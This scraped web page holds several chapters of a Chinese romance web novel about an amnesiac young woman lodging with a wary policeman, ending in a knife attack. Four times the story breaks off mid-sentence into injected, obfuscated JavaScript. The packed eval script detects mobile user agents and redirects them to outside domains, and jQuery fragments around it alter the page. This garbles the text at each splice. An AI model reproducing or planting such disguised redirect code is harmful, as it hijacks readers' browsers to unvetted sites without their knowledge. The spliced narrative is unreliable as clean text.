“人们说当夏天降临的时候,玫瑰和爱会同时到来。可夏天还未来,玫瑰还未开,我便有爱可依,我爱你……” 穆冬听清歌词后先是深深地震惊,这是首情歌!他看到默熠还是笑着唱这首歌的,马上就又想到那封匿名邮件,对匿名信只是恶作剧的猜测又开始动摇。然后他从震惊中清醒,转变为焦虑,他不可能接受这段感情,大喊道:“停,别唱了。” 默熠被打断觉得很奇怪,于是皱了眉,这个表情被穆冬一眼看在眼里,穆冬以为她是因为被拒绝而尴尬,本着不让人尴尬的社交礼仪。 他轻咳一声,解释道:“那个……我……我还有工作,我工作太忙了,我根本没时间……你懂吧?”他的意思是他拒绝她不是因为她不好而是因为自己工作忙。 忙到连首歌都听不完吗?这工作也太多了吧。 “那你觉得我唱得怎么样?”默熠抓紧时间问问题,她已经想好以后要当一个歌手。 找补,她在给自己找补。穆冬很理解她的想法,“很好。”穆冬鼓励道,但为了不让她误会自己对她有意思,为了不让自己这句回答显得暧昧,他特意又补了一句以显示自己的客观,“距离成为一个专业歌手还需要一些努力。” 一向用词保守的标准内向国人竟然用了指示性这么强的词,默熠备受鼓舞,她满脑子都是穆冬说的“很好”二字。 “谢谢。”她笑道,后知后觉地才发现自己笑了,糟糕,一下没控制好,高兴过头了。 而穆冬已经走远,并以八百米冲刺的速度跑上二楼,因为跑的太快,慌不择路地在最后一级台阶被绊了一下,整个人摔在地上。 看起来工作真的很忙。 “穆警官,你……”默熠想关心一句,因为看起来他摔得很结实,一定很疼。 但一听到默熠说话,穆冬以迅雷不及掩耳之势爬起来,迅速朝自己的卧室跑去,只一个眨眼,就没影了。 工作可真积极,默熠感叹道。 不过得到正向反馈她很开心,回到卧室继续写歌,她在客厅弹了一下午都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388573|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得疲倦,人在做自己喜欢做的事时只会享受。 穆冬就没那么舒服了,他在自己的卧室来回踱步,他还没有这么焦虑过,本来他想质问那个匿名发邮件的人,但是这个匿名者设置了不可回复。搞不好这个匿名者就是默熠自己发的,他突发奇想道。 她是什么时候喜欢自己的?穆冬完全不敢把这件事往深了想,额头沁出汗来,平心而论,和歹徒搏斗,命悬一线的时候他都有,还不止一次,但在他眼中都没有这件事来的棘手。 一定是相处时间久了,她对自己产生了错觉,当务之急是和她分开,物理上的分开。 “你房子找的怎么样了?”穆冬发短信问,颇有点儿赶客的意味。 默熠实话实说,虽然隔着屏幕,但她能感受到对方话里的含义,“我真的有拜托中介帮我找,昨天她还在跟我说有一套房子快空出来了。” 得到回复后,穆冬暂时舒了一口气,感觉她离搬走不远了,危机可以暂时解除。默熠的年纪和泉氤差不多,这个年纪的年轻人阅历浅,把其他感情当□□情是常有的事。只要给他们足够多的时间,他们就会认清那种感觉只是一种冲动和无知。 “冬冬,默熠小姐对我们的礼物还满意吗?”穆璇发来信息询问。 “不要叫我冬冬。”穆冬抓狂道,“她没收。” “她为什么没收?” “她觉得太贵重了,收不起,我已经劝过了,她不会收的。” “那她还有什么偏好?你再给我打听打听。” “你让泉氤去吧,我要减少和她的接触。” “这又是怎么回事?”穆璇问。 “我觉得她喜欢我。”穆冬难过道。 “有什么证据吗?”穆璇问。 “她给我唱歌了,唱我爱你。”穆冬一回忆起这个画面就焦虑。 “这情歌是有点儿直白。”内向国表白都很少这么直接的,穆璇也有点惊讶,“但我总觉得你在自作多情。” “有什么证据吗?”穆冬问。 “没有,一种直觉。以及对你——我的弟弟的了解。” “我怎么了?你怎么了解我了?” “因为你有职业病,你总是多想。”穆璇无情吐槽。 “我这是合理推测。”穆冬据理力争。 “她要是真喜欢你,我会把你打包送过去。”穆璇说。 穆冬沉默了一会儿,问道:“你有问过我的意见吗?” “你的意见重要吗?”穆璇强势道。 穆冬又沉默了一会儿,说道:“好吧,我是职业病,是我想多了。”他嘴上服输,心里却不这么想,甚至更加肯定自己的推断。 21. 家人 “老板早上好,星星姐早上好。”默熠一回到店里就热情地和大家打招呼,考虑到内向国打招呼不是什么礼貌的行为,她还特意问过二人是否介意。 “你怎么来了,不是让你多休息两天吗?”谭淳问。 “小伤了,成天待在家里多无聊。”默熠笑道,她晃了晃脚,“我现在走路没问题的,而且趁着年轻多挣点钱总是好的。” “不过你来的正好,我刚刚烤好面包,你就当早餐吃吧。”谭淳知道默熠总是空腹来店里,默熠的用餐习惯不太好,她不喜欢早上把时间花费在做早饭上,甚至不愿意花时间在吃早餐上,一切只为多睡会儿。 “可是老板,这是新烤的。”默熠提醒道,“不应该放到橱窗里卖给客人吗?” “就是新烤的才好吃啊,姐姐,你少吃点临期面包吧。”谭淳都后悔出“员工免费吃临期食品”的规定。 “放心吃吧,就算员工福利。”谭淳还给她热好了一杯牛奶。 星星姐也拿了一瓶果酱过来,“这是我新做的果酱。”她比以前外向了一些,老实说跟默熠这样的人待在一起,很难一直内向。 “你们也太好了。”默熠感动道,“我每次回到店里就像回到了家一样,你们就像我的家人。”默熠经常被二人投喂早餐。 “只是一点吃的,别太放在心上,你这样,我都怕你被渣男骗。”谭淳表达了担忧。 “对啊。”星星姐附和道。 “可是我真的把你们当家人,我们不是还经常一起吃午饭吗?在这里不是说至少得是朋友才会一起吃饭吗?而且只有家人才会经常一起吃饭。我还想不起来家里有哪些人,说不定我在家里也有兄弟姐妹,我妈妈一定还在等我回去吃饭。等我找到妈妈爸爸,我们一定要一起聚一次餐,我要跟我父母介绍我在这里的家人。”默熠咬着松软香甜的面包,舌尖洋溢着果酱的酸甜,味道十分清新,就像夏天。 星星姐是个泪点极低的人,她吸着鼻子,披上外套,哽咽道:“对不起,店长,我要去外面冷静一下。” “我好像又把星星姐弄哭了。”但是默熠已经见怪不怪。她大口吃着面包,不停地夸道:“好久没吃到店里的味道了,真好吃,就凭这手艺,我们店一定能成为百年老字号。”她不吝惜赞美。 谭淳被夸的不好意思,他听得耳朵发红,但这是和她在一起的日常,她只要一来店里上班,就会夸人,每天都不重样,而且她总是很真诚,谁能拒绝真心实意的夸奖呢,尤其当这个人还是从小在家庭暴力和冷暴力中长大的。 但他总是会想第一次见她的时候,她的笑容非常灿烂,一见到她就好像许久不晴的天放晴了。 “对了,店长,我换手机了。”默熠拿出智能手机,“昨天去商场,遇到打骨折,犹豫了好久,还是咬牙买了。” 别人说咬牙可能是一个形容词,但谭淳相信默熠是真的会咬牙做决定。 “我想建一个小群把你们拉进去,都是家人却没有一个家族群合理吗?”默熠宣布道。 不一会儿星星姐冲了进来,“这个异父异母亲属群,是你建的吗?阿熠。” “是啊,我跟你们说我昨天还去领了好友证。”默熠兴高采烈地和他们分享自己的事。 谭淳和星星姐一下就抓住了重点,异口同声道:“你和谁领证了?” “你们不认识,她现在是我的好朋友,我愿称之为闺蜜。”默熠还没意识到事情的严重性。 “我和星星姐也是你的朋友吧,也可以领证的。”谭淳心里吃醋。 “对啊,我一直把你当好朋友的。”星星姐戴着口罩,但不难发现她的脸已经全红。 “你们当然也是啊。”默熠吃完了早餐。 “刚刚还说我们是异父异母的家人呢,说的这么亲近,我们连个好友证都没有。”谭淳语气酸酸的,不知道吃了多少斤蔓越莓。 “就是,就是,没有好友证的朋友只能算野朋友。”星星姐也附和道,她又哭了,就像被欺骗了感情一样,语气哽咽道:“对不起,店长,我要再去外面冷静一下。” 然后二人整个上午都不再理她,一句话也不肯跟默熠说。 一直到中午,二人都没有和好的意思,到饭点儿都还在后厨,不知道在干什么,默熠再也受不了,“你们不可以这么冷暴力我,哪有家人像你们这样的。” 后厨的门紧紧关着,一句回应都没有。 “喂,你们好歹跟我说句话嘛,别这样好不好?”默熠说着说着,眼泪掉了下来,她把头埋到桌上,难过地哭。 啜泣间,她却听到熟悉的声音,“欢迎回家。” 默熠抬起头,看到二人共同捧着一个蛋糕,是她喜欢的芝士流心蛋糕。上面的裱字一看就是两个人写的,“欢迎”两个字更加秀气,一看就是店长写的。“回家”两个字笔画偏圆,看上去更可爱,是星星姐的写法。 “下次别欲扬先抑了?”默熠抹掉眼泪,虽然这效果确实很让人惊喜。 “明天我们也可以去领证的。”默熠开心道。 “那可不行,两次领好友证的时间至少要间隔半年的。短时间内和多人领好友证,会被拉进海王名单,以后都没有交友资格的。”星星姐解释道。 “居然还有这种规定,这合理吗?”默熠愣了。 但店长和星星姐都一致点头,“这很合理。” “哪里合理了?又不是谈恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399712|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱,为什么限制这么多?”默熠嚷嚷道。 “交友和恋爱一样需要谨慎和郑重,你想当海王吗?”星星姐庄重地凝视道,即便这凝视只有短短三秒。 “我不是海王,我……只是想多交点朋友而已……”默熠低声道,不知为何,莫名心虚,“先吃蛋糕、先吃蛋糕……” 她迅速转移话题,还缠着他们拍了纪念照。在如此友好的氛围下,店长决定歇业一天去团建。 而默熠旺盛的分享欲让她的话一直没停过,她说起自己找房子的事,“中介说给我找到了房子,让我明天去看看。房子在平静支路,那边怎么样?你们了解吗?” “那边不好,特别远,就是郊区,通勤特别不方便,开车起码一个小时,周边都没有像样的配套设施。”谭淳说。 “没有通地铁,只有公交。”星星姐补充道,“你不是坐公交会头晕吗?” “那好吧,我让中介再帮我看看。”默熠有些失落,她是个藏不住心事的人,一有什么想法全都写在脸上。 “你很着急搬出来吗?”谭淳问,“我现在住的房子也快到期了,你不介意的话,我后面找个两居室,我们可以一起住。” “好啊好啊,你真是太好了,店长,爱你。”默熠的爱张口就来,如果是店长找房子应该要比自己轻松,默熠的心里一下就踏实了。 谭淳很小声地叹了口气,他喜欢的姐姐是个芳心纵火犯,而且非常博爱,吃到好吃的蔓越莓饼干也会说,“好好吃的饼干,太爱了,我要天天吃。” 他觉得自己在她心里说不定要排到蔓越莓饼干后面。 “好了,你别夸了,不要在我身上随便说什么爱啊不爱的。”谭淳难得严肃。 但是默熠毫不避讳,“我们是相亲相爱的一家人,你说是吧,星星姐。” 星星姐点头,文静地吃着蛋糕。 这天下班,天空飘着小雪,外面很冷,默熠的手冻得通红,她推着星星姐送的自行车回去,作为一个话唠,她第一时间把这个消息告诉了泉氤,不过她兴奋中又有点焦虑,“但是我对自行车完全没有印象,我怕我学不会。” “我表哥拿过射击比赛冠军和自行车比赛冠军,你可以让他教你。” “可是他工作很忙。” “那个案子材料都整理完了,他已经不忙了。”泉氤回复道。 “那他喜欢吃什么啊?让人帮忙我想给点谢礼。”而且默熠一直很想好好谢谢他。 “他不吃辣,但喜欢什么,不太好说,一些健康的食物,新鲜的蔬菜水果应该都可以。”泉氤说。 穆冬收不收是一回事,自己准不准备谢礼又是另外一回事,默熠决定直接问他…… 22. 一些错觉(1) 穆冬一回家,在玄关处就收到了殷勤的问候,对方像等待了许久,她开门见山,没有铺垫。“穆警官回来了,今天工作辛苦吗?你想吃什么甜点或者喝什么饮料?” 老实说她的直接让人警惕,穆冬不安地反问:“你问这个干嘛?”她果然喜欢自己,已经开始问这个了,一定是想讨好自己。穆冬不想和她多说,只想赶紧回到二楼去。 “我想感谢你啊,我一直想感谢你的,你在我无家可归的时候收留了我。”默熠眨巴着眼睛,极力压着嘴角的笑,和穆冬说话最难受的地方就在于此,不能随心所欲地笑。 穆冬就看了默熠一眼,得出的结论是表情这么不自然,一定是在说谎,想欲盖弥彰,可惜她找错人了。 而且穆冬对默熠出院那天的战绩有所耳闻,如临大敌道:“我谢谢你,千万别谢我。”穆冬推手拒绝,转身就走,直奔楼梯口。 却听见默熠在那里小声嘀咕道:“怎么好人都这么谦虚。” 她追了上去,不安道:“我的良心好痛,穆警官,我怎么能做一个不知恩图报的人呢?我就是很想感谢你嘛。” “我宁愿你没有良心。”穆冬转身,他心想你的感激行为和恩将仇报没什么两样,“我求求你放过我。” 成长难道就是要抛弃自己原有的美好品质吗?不,她绝不妥协。 “我不会让你社死的,我会用一般人的方式感谢你。”默熠严肃道,她目光如炬,坚定无比,还步步紧逼,把穆冬逼退到墙角。 天呐,她要壁咚我,穆冬很清楚自己的处境。默熠经常看外向国的偶像剧,而他路过客厅就会不小心看到,因为强迫症又不得不看完,于是他知道了很多外向国诸如壁咚这样的陋习。 “停。”他大喝一声,浑身都起了鸡皮疙瘩,“别再往前走了,你礼貌吗?” “对不起,忽然就觉得热血沸腾,燃了起来。”默熠解释道,“气氛都到这里了,我看电视剧都是这么走位的。” “从今天开始,我家不允许放外向国的电视剧。”穆冬气道,“拍的什么电视剧把人都教坏了。” 默熠害怕得闭着眼皱着眉往后退一步,穆警官生气的样子好可怕,她都不好意思提让他教自己骑车的事儿。 不过她还是在一个小时后给他发了短信,她觉得一个小时总够消气的。 “泉氤说你大学拿过自行车比赛冠军。” 泉氤怎么什么都往外说,穆冬看着默熠发来的短信,总有一种不太好的预感。 “有什么事吗?”他反问。 “你能教我骑自行车吗?” “不能。”穆冬果断拒绝,他不想和默熠有过多接触,他不能给她不切实际的幻想,如果让她觉得她可以和自己在一起,是自己的罪过。这种事就是要分明一点,不清不楚只会害人害己。 “你是不是最近还有很多工作?”默熠又问。 “那是十年前的事,我已经忘记怎么骑车了。”穆冬表情严肃地敲下这段借口。 “噢,这样啊,对不起,打扰了。” 默熠自己在网上寻找骑车教程,她认真看了几遍,在院子里骑车实操。 她每天都有打理院子,所以一点儿积雪都没有,冬天的衣服很厚,行动不便,她又是第一次骑,被摔得很惨。 穆冬在二楼看到了,他虽然不看电视剧,但是默熠天天在家看剧,他耳濡目染知道一些,他知道默熠是故意的,想通过这种方式引起自己的注意。 一次又一次的摔倒,默熠的手掌被擦伤,“啊啊啊,痛死了、痛死了……”她尖叫道,还哭得眼泪汪汪。 穆冬无法再忽视,再喜欢一个人也要爱惜自己的身体啊,他冲下楼想劝她,但下楼的那一刻,他忽然清醒了过来,且是从未有过的清醒,觉得自己必须冷处理,不能让她觉得这样可以吸引到自己,否则以后她还会这样,于是又默默退了回去。 默熠垂头丧气,无比希望有人能来指导自己。 穆冬接到紧急任务要出警,默熠人还在院子,只看到他的身影从客厅匆匆掠过,具体什么时候回来的她也不清楚。 第二天她才从电视上知道发生了什么事,“欢迎收看午间新闻,近日,安静市警方破获了一起特大盗猎案件,抓获盗猎分子23名,在逃嫌疑人3名,查缴珍贵野生植物321棵,极地草是我国珍贵物种,据统计,我国极地草的分布主要集中在安静市,安静市的极地草又有约56%集中分布在安静自然森林公园……” “好熟悉的地方,但是又什么都想不起来,听人说我是在那里被人发现的。”默熠坐在最中间,她把便当放在一边,头有一点儿痛。 “那里风景不错。”谭淳说,他也就去过一次。 “我爸以前喜欢在那里钓鱼,但是他什么都钓不到,老被我妈说。”这是星星姐对安静自然森林公园的印象。 “安静市拥有内向国最大的温泉资源,是重要旅游资源……”电视继续播报着新闻。 “诶呀,不行,头疼。”默熠捂着头,她的右手裹着纱布,昨天被擦伤了好大一块,但她坚持上完班,下班后也没有因为这件事不铲雪。 铲雪地点换到了隔壁社区,穆冬只字不提昨天的行动,但默熠知道了一些,“泉氤说你受伤了。”她关心道。 泉氤怎么什么都往外说,“小伤而已。”他的语气公事公办,和才见面那会儿一样生疏。 默熠没再说,安静地铲雪,穆冬则冷着脸发消息给泉氤,“你能不能不要把我的事往外说。” “我没往外说啊。”泉氤不解。 “你都跟默熠说了。”穆冬生气地回复消息。 “她是我朋友,不算外人。”泉氤还晒出了她的好友证。 穆冬震惊于二人的交友速度,这都算得上“闪友”,“那你以后别跟她说我的事。” “好。那你以后好好照顾我朋友,别凶巴巴的,我知道现在屏幕前的你脸一定很凶。” 穆冬没有再回复,举目远眺,雪积了厚厚一层。 “真冷。”穆冬心想,有些烦躁,这年复一年的漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407068|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长冬季令人生厌。 “好暖啊,想想就暖和。”默熠却忽然说,她的眼睛是笑着的。 “什么?”穆冬愣了一下,非常慌张,像是心事被看穿了一样,但他知道这只是个巧合。 “你不觉得这个季节如果吃火锅一定很暖和吗?” 这里冰天雪地的,大家都只会觉得又冷又无聊,她却理所当然地忽略眼前的冰冷,只看到温暖的地方,热情难道是天生的吗?他不禁想,心里升起一种钦佩,对热情的钦佩,即便面对冰雪,热情也不熄灭。 他竟觉得身上暖和了一些,不过他宁愿相信是刚刚天气升温了,也不愿意相信自己被对方感染。 铲雪是个体力活,默熠觉得很累,她一回去就瘫倒在沙发上。 穆冬虽然只是监督,但他的情况好不到哪里去。 “你怎么了,穆警官?”默熠看穆冬脸色发白,额头还有细细的薄汗,很是担心,她递了一张抽纸过去。 穆冬强行让自己镇定下来,接过她递来的抽纸。 他虽然冷着一张脸,但手却在抖,默熠便更加担心,“要不要去医院看看。” “没事,估计只是扯到伤口了。”穆冬说,不过他很快就后悔自己为什么这么回复。 “穆警官,你的伤在后背,自己一个人不太好弄吧。” 泉氤怎么跟她说的这么清楚,自己伤在哪里都知道,穆冬心中不平。他听出默熠话里的暗示,后背起了一层鸡皮疙瘩,自己受个伤都能被惦记,他让她搬出去已经是委婉拒绝了好吗?上次他还很冷漠地拒绝了教她骑车的请求,他都这样了,她是听不懂还是装不懂贼心不死?穆冬心情复杂。 “没有不好弄的,我自己可以。”穆冬冷脸回应,他才不会给她机会接触自己。 当天夜里,大概凌晨两点,默熠听到客厅传来一声重响。 她睡眼朦胧,出去查看情况,发现穆冬倒在楼梯口,她立刻就清醒了。 穆冬穿着黑色睡衣,仰面倒在地上,脸色苍白,嘴唇也在泛白。 “穆警官,你醒醒。”默熠摇晃他的身体,但不起任何作用,她又摇了摇他的头,发现他的脸很烫,一摸额头,“烧成这样,天呐。” 默熠想送他去医院,便把他搀扶起来,这一搀扶才发现他后背在流血。 她赶紧拨通了急救电话,对她来说,这是惊心动魄的一晚。但事后她想不起其中的任何细节,只记得那晚的雪下得很大,她觉得自己当时被吓坏了。 穆冬醒来的时候已经是第二天中午,他睁开的第一眼看到的是泉氤和护士。 “这里是安静市中心医院,我是你的责任护士,你现在的身体情况怎么样?有哪里不舒服的吗?”护士询问。 “我现在没什么感觉。”穆冬回复道,声音有些沙哑,喉咙很干。 他闭上眼睛回忆昨天晚上的经历,试图找到一丝来医院的记忆。 “我是自己来的吗?”他问泉氤。 “阿熠给你打的急救电话,她哭的可厉害了。” 23. 一些错觉(2) 穆冬当天晚上出院回家见到默熠的时候,她的眼睛还肿着。 她竟然哭的这么伤心,穆冬心里生出几分愧疚,但又很伤脑筋,她为什么那么喜欢自己啊? “阿熠,这几天可能要麻烦你给他上一下药。”泉氤就在他身后。 “不用,不用那么麻烦,就是小伤而已。”穆冬立刻阻止道。 “什么不用,医生说了就是你伤口没有清理干净发炎了才会弄成这样的,真搞不懂为什么你非要在这件事上犟。”泉氤没好气地说。 “他可能害羞。”默熠小声道,给穆冬递台阶。 “他,害羞?”泉氤一点儿面子也不给穆冬,“真要算起来给你上药吃亏的是阿熠,人家姑娘都没跟你计较,你还在这儿推辞上了。” 吃亏的是她,那可不一定,穆冬心里这样想,脸色越发暗沉。 “我不会让她给我上药的,死都不会。”穆冬摆出一副贞洁烈男的模样,也不再参与讨论,自己上了二楼。 “我没看错吧,他什么表情,搞得好像谁要吃了他一样。”泉氤觉得穆冬行为十分反常,“他是有暗恋对象了吗?” “不清楚。”默熠摇摇头,“他不配合怎么办?” “等着吧,我给表姐发个消息他就老实了。”泉氤掏出手机。 也不知道她发了什么,但穆冬真的就同意了。 不过他在第二天换药的时候摆出了一副从容赴死的表情。 “能在十分钟内换好吗?”穆冬礼貌地问,他先发制人给她规定好时间,以免她借机吃自己豆腐。 “多加两分钟可以吗?”默熠讨价还价道,她的手受伤了,而且她没有换过药,没有把握能在十分钟内搞定。 果然,她不会放过这个机会。还好自己早有准备,他的底线是把时间争取到二十分钟内,所以一开始只说十分钟,这样对方加价他也有空间砍价。 “那十五分钟吧。”他装作一副无奈的样子。 “应该可以。”默熠回道。 还好,还不算太贪心,穆冬心里想。他戴上口罩,脱掉睡衣。由于常年接受训练,他的皮肤是小麦色,身材很好,肌肉薄而紧实,肌肉线条清晰迷人。 但身上有不少疤痕,每一道愈合的月白色伤疤都昭示了他曾经执行任务时经历的危险。 默熠轻轻取下纱布,看到了最新的伤疤,几道又深又长的伤口交错在一起,似几条缠绕、狰狞的火蛇,看的人触目惊心。 她按照医嘱清洁伤口、上药。 然而她最近有一点小感冒,她停止手上的动作,背过身去准备打喷嚏,“啊啊啊……” 可是鼻子又不痒了,喷嚏没有打出来,不过她记得穆冬有强迫症,马上补了一个,但随后她听到他也补了一个喷嚏。 “阿嚏。”他又补了一个。 不是吧,还来。 默熠不得不转过去看他,“你的强迫症已经这么严重了吗?” “不是,我觉得我感冒没好。” 现场的氛围有一丝尴尬,默熠说:“那我得快点给你弄好,你别着凉了。” 这话为默熠消除了些许嫌疑,穆冬惭愧地想自己刚刚想多了,他在心底骂自己自恋狂,人家姑娘怎么可能对不熟的男人的□□感兴趣。 敷好药后,默熠更换纱布进行包扎,在这件事的尾声,她说话了,她只问了一个问题,“穆警官,你是不是有喜欢的人了?”彼时她刚好包扎完,默熠觉得泉氤说的有点儿道理,穆冬给人的感觉像在给谁守身而不是害羞。 然后她看到穆冬后背立即起了鸡皮疙瘩。 她在试探自己,就知道她不会轻易放弃,穆冬迅速穿好衣服,“这是我的个人隐私。” “抱歉。”默熠只是好奇一问,又忘了内向国人特别注重这个,但从穆冬严肃的反应来看,只有被冒犯,没有其他情绪,不过默熠也很难想象他会暗恋哪个女生,他看上去像是只会喜欢工作的那种工作狂。 穆冬起身迅速穿好衣服,走向扶梯,他一刻也不能在这里多待。 “穆警官,能不能再麻烦你一件事?”默熠以请求的语气说道。 “什么?”穆冬警惕道。 “我们店要去团建,你觉得我穿什么好,你看我穿这个怎么样?”默熠拿出一件卡其色的大衣,她没有什么穿搭经验,她的衣服都是别人捐给她的,颜色大都很艳丽,但她知道内向国的风俗,她自己这么穿倒是没什么,但是她不想连累和她一起的店长、星星姐一起社死。 “这个颜色感觉也不是很常见,但是我现在就这件比较低调了,有一件白色的羽绒服上面被我画了彩色的涂鸦,另一件黑色的大众衣服被洗掉了。”她为难道。 穆冬警惕地认为她在试探自己的审美,他保守地回答,“还可以。”这是一个相当敷衍的回答,完全看不出他偏向的风格是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416258|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样,他说完后迅速走上扶梯。 “叮咚。”门铃声不合时宜地响起,这么晚了,谁会来? 二人都往玄关那里去,穆冬和她刻意保持着安全社交距离。 从电子可视屏幕上看是江雪,她手里还带了一个礼品装的牛油纸袋子。 默熠看了一眼穆冬才开了门,在玄关的灯光下她发现江雪的脸颊上似有泪痕。 江雪似乎没想到是两个人来开门,一时间有些惊慌,“那个……很抱歉,打扰了,我是来找穆警官的,这是我烤的饼干,请收下。” “很抱歉,你有什么事吗?”穆冬没有收礼。对方这么晚来送饼干,穆冬觉得江雪肯定有事。 “那个……我……我家要挂极夜日的彩灯,但是我和妈妈都不够高,能不能麻烦你帮我们挂一下?” 默熠在纪录片里看到过极夜日的介绍,每年的最后一天,太阳在沉入地平线后就会迎来长达两个月的极夜,极夜日是内向国最大的庆典,但是现在离极夜日可还有两个月,现在就挂彩灯会不会太早了。 挂彩灯是一种习俗,江雪家只有她和她妈妈,她妈妈那么社恐,比起请别人来家里帮忙挂灯,还不如自己挂低点,又没有彩灯一定高挂的习俗。 无论怎么想,这件事都很奇怪。 穆冬也看出来这件事的不合理之处,但他觉得都是邻居,帮帮忙也没什么。 “好……”他话还没说完,默熠已经抢答并站到他前面把他和江雪隔开了,“让我去吧,我来就好。” 穆冬身上还有伤,挂彩灯一定会拉扯到肩背的肌肉,搞不好伤口会裂开。 但穆冬却以另一种思维判断她的行为,她的占有欲也太强了吧,自己还没跟她在一起呢。 而且江太太那么不待见她,她甚至甘愿以身犯险,穆冬又不得不佩服她的勇气。 默熠拽着江雪的手,一出去她就问:“说吧,一定不止挂彩灯这么简单,你遇到什么事儿了。” “跟妈妈吵架了,想找个人回去气她。”江雪憋嘴道,“她居然翻我日记。” 默熠静静地想象了一下那个画面,江太太一个巨内向的人,但家里来了一个其他人,还是她讨厌的邻居女孩儿。这画面光是想想就觉得可怕,默熠打了个哆嗦。 “算了,我刚刚是一时冲动。”江雪像是自己把自己调节好了,实际上她只是想让人知道她心里的委屈,说出来就全好了。 24. 袭击 甜品店里的小黑板写了新的活动参与方式,参与活动写下祝福即可得到一小份蓝莓蛋糕,但参与的顾客越多,店长反而越担心。 “你的钱够花吗?”谭淳问,他眉毛皱了一点儿,不明显。 这个活动是默熠自己出钱补贴的。 “还好还好。”默熠笑道,甘之如饴,她看到通过活动收获的一句句手写祝福,感到开心。 “那个人对她好像很重要。”谭淳在心里猜测,眼里藏着失落…… 太阳在四点零几分落入地平线,夜幕迅速降下,如同舞台上拉下的巨大帷幕,环视四周,街上连个人都没有,只有呼啸的北风和悠悠飘落的雪花,那悠扬飘落的身影如芭蕾舞演员般优雅。 芭蕾舞演员,不知为何,默熠的脑海里浮现出这个名词,难道自己以前还是个芭蕾舞演员? 她把铁铲往旁边一插,“穆警官,我刚刚好像想起一点东西。”她惊喜地和身边的人分享这个重要的消息,“我觉得我以前大概率是个芭蕾舞演员。” “就像这样。”她把记忆中的舞蹈动作做了一遍,但地上有雪,她才一旋转,就差点摔了。 穆冬出于本能地拉住她,路灯在这一刻配合地亮起,二人就像舞台上的男女主,眼神也不可避免地对视上了。 三点零五秒的时间足以让穆冬清醒,他马上意识到这样不合适,没多想直接把手一松,默熠直直倒在松软的雪粉里,将雪粉压出一个人形剪影,像白色泡沫板被烧红的铁烫后陷出的模样。 好限,差点多看了一眼超过五秒,他还想和她保持一个相对陌生的关系。 其实他也不是觉得默熠不好,只是他是一个慢热的人,如果要喜欢一个人,需要花很多时间。 默熠无措地眨了眨眼,自己从雪地里爬出来。 她拍拍自己身上的雪粉,打了个哆嗦“好冷啊”。 “抱歉,手滑了。”穆冬冷冷说,这种冷漠的礼貌让人倍感疏远。 暮色下,默熠安静地前面铲雪,穆冬在她旁边保持了一米的距离。 迎面走来两个人,一高一矮,高的那个块头很大,少说有两米,矮的那个大概一米五几,穿上臃肿的冬装也还是瘦,二人戴着口罩帽子,都把手插到口袋里。 这里是居民区,有人来往很正常,他们还是寻常打扮,穆冬就没放在心上。 对面的道路宽敞,且默熠清理过积雪,很好走,他们却不走那边,直直往穆冬这边走来。在内向国,就算有人的那一边清理过雪,其他的人也会因为社恐走更难走但没有人的路。 这两个人的行为和陌生路人极不相符,他们认识自己,这种直觉忽然涌上穆冬心头,他警惕道:“默熠,快走。” 闻言默熠抬头,看到对面走过来的两个人,二人的手从口袋里伸出,都拿着匕首,匕首的光泽在强烈的路灯下晃得人眼疼,恶徒出现的太突然,默熠大脑根本来不及反应,只剩下眼睛对强光本能的反应,眼睛不由控制地被闭上。 世界一片黑暗,默熠觉得自己被人拽住了,随即是一片天旋地转,当她再睁开眼时,眼里还带着因强光照射后残留的灼烧感和苦涩,眼中泪光闪烁。 在不算清晰的视线中,她昂起头,看到的是穆冬模糊的身影,他身形高大,完全挡住了路灯强烈的灯光和暴徒的身影,他的表情应当是冷毅的,眼神一定非常坚定,她拼命地眨着眼睛,想要快点看清他的样子, 她终于看清了一些,看清了他眉间的残缺,同时她听到他说:“危险,快走。” 但在那一刻,他给予了自己安全。 穆冬将默熠推了出去,只身一人对抗两名持刀的暴徒。 默熠跌倒在一旁的雪堆里,亲眼目睹着这一切。 